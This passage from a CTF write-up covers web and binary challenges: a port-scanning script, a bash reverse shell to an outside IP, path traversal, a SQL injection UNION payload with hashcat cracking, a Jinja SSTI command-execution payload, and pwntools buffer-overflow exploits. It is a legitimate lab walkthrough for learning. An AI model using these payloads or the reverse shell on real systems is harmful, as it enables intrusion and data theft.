                print(f&quot;✅ FOUND ADMIN PORT: {port}&quot;)
                return port
    except Exception as e:
        pass
    return None

def find_admin_port(start_port=1024, end_port=4999, threads=10):
    print(f&quot;Starting scan for admin port...&quot;)

    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {executor.submit(check_port, port): port for port in range(start_port, end_port + 1)}

        for i, future in enumerate(concurrent.futures.as_completed(futures)):
            result = future.result()
            if result is not None:
                return result

    return None

admin_port = find_admin_port()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204113.png&quot; alt=&quot;Screenshot 2025-02-28 204113.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After running the script, I found the admin panel running on port 1174.(Claude assisted me in developing this charming code that helps me discover the admin port.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204130.png&quot; alt=&quot;Screenshot 2025-02-28 204130.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;When I first tried to access the execute endpoint at &lt;code&gt;/admin/execute&lt;/code&gt;, I consistently got 404 errors.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I also attempted sophisticated command injection payloads like reverse shells before confirming basic command execution worked:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/admin/execute?cmd=bash%20-c%20%27bash%20-i%20%3E&amp;amp;%20/dev/tcp/192.168.29.54/4444%200%3E&amp;amp;1%27
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I spent time trying to determine if the unfurler was making proper HTTP requests or if there were additional protections in place.&lt;/li&gt;
&lt;li&gt;In the above image it showed that requests to the root path (&lt;code&gt;/&lt;/code&gt;) were working, but &lt;code&gt;/admin/execute&lt;/code&gt; was failing. This was my &quot;aha&quot; moment - the admin routes were mounted at the root level, not under &lt;code&gt;/admin/&lt;/code&gt;!&lt;/li&gt;
&lt;li&gt;I then tried:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;http://127.0.0.1:2901/execute?cmd=ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204201.png&quot; alt=&quot;Screenshot 2025-02-28 204201.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And got a successful response showing the directory contents!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204222.png&quot; alt=&quot;Screenshot 2025-02-28 204222.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;With the correct path to the command execution endpoint, getting the flag was simple:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;http://127.0.0.1:2901/execute?cmd=cat flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;When I submitted this URL to the unfurler, it retrieved the flag file content and displayed it in the results section.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;flag{e1c96ccca8777b15bd0b0c7795d018ed}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. TimeOff&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204309.png&quot; alt=&quot;Screenshot 2025-02-28 204309.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: Challenge.zip&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/timeoff.zip&quot;&gt;timeoff.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This was a challenging and fun web exploitation challenge involving a Ruby on Rails time-off management application. The goal was to find and exploit a vulnerability to retrieve a flag hidden somewhere in the system. The challenge required careful code analysis and exploiting a path traversal vulnerability.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Upon examining the provided source code, I found several controller files that handle different aspects of the application:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Upon examining the provided source code, I found several controller files that handle different aspects of the application:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;application_controller.rb&lt;/code&gt;: Handles authentication&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;document_controller.rb&lt;/code&gt;: Manages document downloads&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;file_controller.rb&lt;/code&gt;: Provides file access functionality&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;time_off_requests_controller.rb&lt;/code&gt;: Manages time-off requests and their documents&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;user_controller.rb&lt;/code&gt;: Handles user management&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The included Dockerfile revealed a crucial piece of information:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;COPY flag.txt /timeoff_app/flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This confirmed the flag was located at &lt;code&gt;/timeoff_app/flag.txt&lt;/code&gt; in the container.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;FilesController.rb&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Initially, the &lt;code&gt;FilesController&lt;/code&gt; appeared to be a goldmine. It contained a glaring path traversal vulnerability:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;class FilesController &amp;lt; ApplicationController
  def show
    path = params[:path]

    begin
      content = File.read(path)
      render plain: content
    rescue =&amp;gt; e
      render plain: &quot;Error reading file: #{e}&quot;
    end
  end
end
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This controller read files directly from user input without any validation - a perfect opportunity for exploitation. However, after examining the &lt;code&gt;routes.rb&lt;/code&gt; file, I discovered this controller wasn&apos;t actually being used in the application! The route wasn&apos;t defined, making this vulnerability inaccessible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Further analysis revealed a more subtle vulnerability in the document download functionality. In &lt;code&gt;document_controller.rb&lt;/code&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;def download
  @document = Document.find(params[:id])
  base_directory = Rails.root.join(&quot;public&quot;, &quot;uploads&quot;)
  path_to_file = File.join(base_directory, @document.name)

  if File.exist?(path_to_file)
    send_file path_to_file,
            filename: @document.file_path.presence || &quot;document&quot;,
            type: &quot;application/octet-stream&quot;
  else
    flash[:alert] = &quot;File not found: #{path_to_file}&quot;
    redirect_back(fallback_location: root_path)
  end
end
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This code uses &lt;code&gt;@document.name&lt;/code&gt; to construct the file path without proper validation, potentially allowing path traversal.&lt;/li&gt;
&lt;li&gt;The attack path became clear:&lt;/li&gt;
&lt;li&gt;Login to the application&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204342.png&quot; alt=&quot;Screenshot 2025-02-28 204342.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When trying to download the document, I received an error:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;File not found: /timeoff_app/public/uploads/../../../flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This confirmed I was on the right track! The application was attempting to construct a path to the flag file but couldn&apos;t find it at the expected location.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After several attempts with different traversal patterns (like &lt;code&gt;../../../../flag.txt&lt;/code&gt;, &lt;code&gt;../../flag.txt&lt;/code&gt;, etc.), I eventually found the correct path to access the flag.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204659.png&quot; alt=&quot;Screenshot 2025-02-28 204659.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the document upload form, I directly entered &lt;code&gt;../../../flag.txt&lt;/code&gt; as the stored name&lt;/li&gt;
&lt;li&gt;The application accepted this input without validation.&lt;/li&gt;
&lt;li&gt;From the time-off request details page, I could see the document was created with:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Name: flag.txt
Stored Name: ../../../flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I clicked the &quot;Download Document&quot; link which triggered the vulnerable code path&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204710.png&quot; alt=&quot;Screenshot 2025-02-28 204710.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This way i got the Flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204721.png&quot; alt=&quot;Screenshot 2025-02-28 204721.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{52948d88ee74b9bdab130c35c88bd406}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Weblog&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204912.png&quot; alt=&quot;Screenshot 2025-02-28 204912.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: Challange.zip&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/Weblog.zip&quot;&gt;Weblog.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This CTF challenge involved exploiting multiple vulnerabilities in a Flask web application to gain access to the admin panel and ultimately perform command injection to retrieve the flag.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vulnerability Discovery&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After analyzing the provided codebase, I identified several critical vulnerabilities:
&lt;ol&gt;
&lt;li&gt;SQL Injection in the search functionality&lt;/li&gt;
&lt;li&gt;Weak password hashing (MD5)&lt;/li&gt;
&lt;li&gt;Command injection in the admin panel&lt;/li&gt;
&lt;li&gt;Input restrictions that could be bypassed&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Application Structure&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The application consisted of multiple components:&lt;/li&gt;
&lt;li&gt;A search feature vulnerable to SQL injection&lt;/li&gt;
&lt;li&gt;A user authentication system&lt;/li&gt;
&lt;li&gt;An admin panel with command execution capabilities&lt;/li&gt;
&lt;li&gt;Two database tables: &lt;code&gt;blog_posts&lt;/code&gt; and &lt;code&gt;users&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;My first approach was to use the credentials found in &lt;code&gt;entrypoint.py&lt;/code&gt;. This initially seemed promising as I was able to log in to the admin portal in the Docker simulation environment. I even managed to exploit command injection and retrieve what appeared to be the flag.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2023.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;However, when I tried the same credentials on the actual challenge environment, they didn&apos;t work!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This was a classic CTF misdirection – a rabbit hole designed to waste time. This forced me to reconsider my approach and look deeper into the application code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;So First i Register a user and login using those credentials&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_204920.png&quot; alt=&quot;Screenshot 2025-02-28 204920.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;While analyzing the &lt;code&gt;search&lt;/code&gt; functionality, I discovered a SQL Injection vulnerability in the following code snippet:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;raw_query = text(
                f&quot;SELECT * FROM blog_posts WHERE title LIKE &apos;%{query}%&apos;&quot;)
            current_app.logger.info(f&quot;Executing Raw Query: {raw_query}&quot;)
            posts = db.session.execute(raw_query).fetchall()
            current_app.logger.info(f&quot;Query Results: {posts}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Since user input (&lt;code&gt;query&lt;/code&gt;) is directly concatenated into the SQL query without proper sanitization, we can exploit this to extract data from the database.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Bypassing Filters&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;I first attempted a basic SQL injection payload &lt;code&gt;&apos; OR 1=1; --&lt;/code&gt; and however, this didn&apos;t work. After experimenting further, I found that the following payload successfully bypassed the filter and listed all blog posts &lt;code&gt;&apos; OR 1-1 #&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Next, I attempted to extract data from the &lt;code&gt;users&lt;/code&gt; table using a &lt;code&gt;UNION&lt;/code&gt; injection payload:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&apos; UNION SELECT id, username, password, &apos;content&apos;, &apos;author&apos; FROM users WHERE role=&apos;admin&apos; #
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;and we go the admin password in md5 hash.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_205518.png&quot; alt=&quot;Screenshot 2025-02-28 205518.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I used &lt;strong&gt;Hashcat&lt;/strong&gt; to crack the MD5 hash of the admin password.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 0 c1b8b03c5a1b6d4dcec9a852f85cac59 /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_205817.jpg&quot; alt=&quot;Screenshot 2025-02-28 205817.jpg&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Once decrypted, I logged into the admin panel using the obtained credentials. After gaining access, I explored the admin panel and identified a potential command injection vulnerability. This opened the door for further exploitation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_205941.png&quot; alt=&quot;Screenshot 2025-02-28 205941.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{b06fbe98752ab13d0fb8414fb55940f3}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Plantly&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_212948.png&quot; alt=&quot;Screenshot 2025-02-28 212948.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: Challange.zip&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/Plantly.zip&quot;&gt;Plantly.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;When I first looked at the Plantly e-commerce site, it seemed like your typical plant shop application - user registration, product browsing, and a checkout system. Little did I know that hidden in this garden of code was a dangerous vulnerability just waiting to be exploited. This writeup details my journey through discovering and exploiting a Server-Side Template Injection (SSTI) vulnerability to capture the flag.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The first step was analyzing the codebase to understand the application structure:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A Flask application with several blueprints (auth, main, store, subscription)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;User authentication system&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Plant shopping features&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cart and checkout functionality&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Receipt generation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;While examining the code in &lt;code&gt;store.py&lt;/code&gt;, something suspicious caught my eye - a potential SSTI vulnerability in the receipt generation function:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;custom_requests = &quot;&quot;.join(
    f&quot;&amp;lt;li&amp;gt;Custom Request: {render_template_string(purchase.custom_request)}&amp;lt;/li&amp;gt;&quot; 
    for purchase in purchases if purchase.custom_request
)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This code directly passes user input (&lt;code&gt;purchase.custom_request&lt;/code&gt;) to Flask&apos;s &lt;code&gt;render_template_string()&lt;/code&gt; function without any sanitization. This is a classic recipe for disaster, as it allows user-supplied template code to be executed on the server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To confirm this vulnerability, I followed these steps:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;Use Given credentials to sigin on the Plantly website&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_213012.png&quot; alt=&quot;Screenshot 2025-02-28 213012.png&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Added a custom plant order to my cart with a simple test payload: &lt;code&gt;{{7*7}}&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_213032.png&quot; alt=&quot;Screenshot 2025-02-28 213032.png&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Completed the checkout process&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_213043.png&quot; alt=&quot;Screenshot 2025-02-28 213043.png&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Viewed my receipt&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_213051.png&quot; alt=&quot;Screenshot 2025-02-28 213051.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;When the receipt loaded, I saw that instead of displaying the literal string &lt;code&gt;{{7*7}}&lt;/code&gt;, it showed &lt;code&gt;49&lt;/code&gt;. This confirmed the SSTI vulnerability - the server was evaluating my input as a template expression!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now that I had confirmed the vulnerability, it was time to escalate to reading the flag file. I needed to find a way to access the filesystem.
I first tried some common SSTI payloads but encountered obstacles:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{{ &apos;&apos;.__class__.__mro__[1].__subclasses__()[40](&apos;flag.txt&apos;).read() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This resulted in a server error, likely because the class at index 40 wasn&apos;t the file reader class in this environment.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I then tried to enumerate all subclasses:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{{ &apos;&apos;.__class__.__mro__[1].__subclasses__() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_213110.png&quot; alt=&quot;Screenshot 2025-02-28 213110.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This worked and dumped a large list of Python classes, but it was hard to identify which one would allow file access.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_213124.png&quot; alt=&quot;Screenshot 2025-02-28 213124.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I modified this code to the class which i wanted and got the flag&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{% for c in &apos;&apos;.__class__.__mro__[1].__subclasses__() %}{% if c.__name__ == &apos;WarningMessage&apos; %}{{ c.__init__.__globals__[&apos;__builtins__&apos;][&apos;__import__&apos;](&apos;os&apos;).popen(&apos;cat flag.txt&apos;).read() }}{% endif %}{% endfor %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_213205.png&quot; alt=&quot;Screenshot 2025-02-28 213205.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And voilà! The flag was revealed in the receipt page.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;flag {982e3b7286ee603d8539f987b65b90d4}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Binary Exploitation&lt;/h2&gt;
&lt;h3&gt;1. Echo&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2024.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: Echo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/Echo.zip&quot;&gt;Echo.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have given a ELF binary&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2025.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Secondly all i check the security of this binary using &lt;code&gt;checksec&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;and luckily there is no protection.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2026.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In Next step i see the functions of this using &lt;code&gt;pwngdb&lt;/code&gt; tool and there is &lt;code&gt;Win&lt;/code&gt; function available so we just to do &lt;code&gt;Ret2Win Attack&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;(Reference: https://www.youtube.com/watch?v=eg0gULifHFI)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2027.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I make a simple script for this using &lt;code&gt;pwntools&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/pwn1.py&quot;&gt;pwn1.py&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# Load the binary
binary = ELF(&apos;./echo&apos;)

# Connect to remote challenge
p = remote(&apos;challenge.ctf.games&apos;, 31084)

# Address of win function
win_address = p64(0x401216)

# Buffer overflow offset: 128 bytes for the buffer + 8 bytes for the saved base pointer = 136 bytes
buffer_offset = 136

# Craft the payload
payload = b&apos;A&apos; * buffer_offset + win_address

# Send the payload and interact with the shell
p.sendline(payload)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Working in short (I would recommend you to see the previously given reference video for in-depth understanding)
&lt;ul&gt;
&lt;li&gt;i opened &lt;code&gt;ghidra for see the buffer size&lt;/code&gt; and here is the main code,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2028.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;undefined8 main(EVP_PKEY_CTX *param_1)

{
  char local_88 [128];
  
  init(param_1);
  puts(&quot;Give me some text and I\&apos;ll echo it back to you: &quot;);
  gets(local_88);
  puts(local_88);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Buffer size is &lt;code&gt;128 and 8 byte for base point so total 136 byte of data it can accept&lt;/code&gt; and &lt;code&gt;after that this will rewrite the pointer address&lt;/code&gt; where we provided the &lt;code&gt;win func address&lt;/code&gt; so the pointer redirect to that function and execute it&lt;/li&gt;
&lt;li&gt;And When i run this script i got the flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_000820.png&quot; alt=&quot;Screenshot 2025-02-28 000820.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{4f4293237e37d06d733772a087299f17}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Additional Information Needed&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2029.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: challenge.elf&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/challenge%201.zip&quot;&gt;challenge.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Given file is ELF file and when i check the binary security using &lt;code&gt;checksec&lt;/code&gt; i founf that there is ony one &lt;code&gt;RELRO security is implemented partially&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2030.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It contains &lt;code&gt;getFlag()&lt;/code&gt; so,&lt;/li&gt;
&lt;li&gt;I tried previous script by replacing win function’s address with this and other things but it does not work so i see the ghidra code,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2031.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the getFlag() code,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2032.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 getFlag(int param_1,int param_2)

{
  undefined4 uVar1;
  char local_3c [48];
  FILE *local_c;
  
  if (param_1 * param_2 == 0x23) {
    local_c = fopen(&quot;flag.txt&quot;,&quot;r&quot;);
    if (local_c != (FILE *)0x0) {
      fgets(local_3c,0x30,local_c);
      puts(local_3c);
      fclose(local_c);
    }
    uVar1 = 0;
  }
  else {
    puts(&quot;Nope!&quot;);
    uVar1 = 0xffffffff;
  }
  return uVar1;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;By looking the code we can say that &lt;code&gt;this not a straight forward&lt;/code&gt; but we also need &lt;code&gt;pass the parameters to pass the condition&lt;/code&gt; so make a script for it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/pwn2.py&quot;&gt;pwn1.py&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# Load the binary (32-bit ELF)
binary = ELF(&apos;./challenge.elf&apos;)

# Connect to remote challenge
p = remote(&apos;challenge.ctf.games&apos;, 30591)

# Address of getFlag function
getFlag_address = binary.symbols[&quot;getFlag&quot;]

# Buffer overflow offset: 36 bytes (buffer) + 4 bytes (saved EBP) = 40 bytes
offset = 40

# Craft the payload:
# [padding] + [getFlag address] + [fake return] + [first arg: 5] + [second arg: 7]
payload = b&quot;A&quot; * offset
payload += p32(getFlag_address)  # Overwrite saved return address with getFlag()
payload += p32(0xdeadbeef)       # Fake return address (won&apos;t be used)
payload += p32(5)                # First argument (will be at [ebp+8])
payload += p32(7)                # Second argument (will be at [ebp+12])

# Send the payload and interact
p.sendline(payload)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;We just passing the argument which succeed the condition,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;if (param_1 * param_2 == 0x23)&lt;/code&gt; and &lt;code&gt;7 * 5 = 35 == 0x23&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Eventually condition pass and we got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_003018.png&quot; alt=&quot;Screenshot 2025-02-28 003018.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{8e9e2e4ec228db4207791eOa534716c3}
&lt;/code&gt;&lt;/pre&gt;
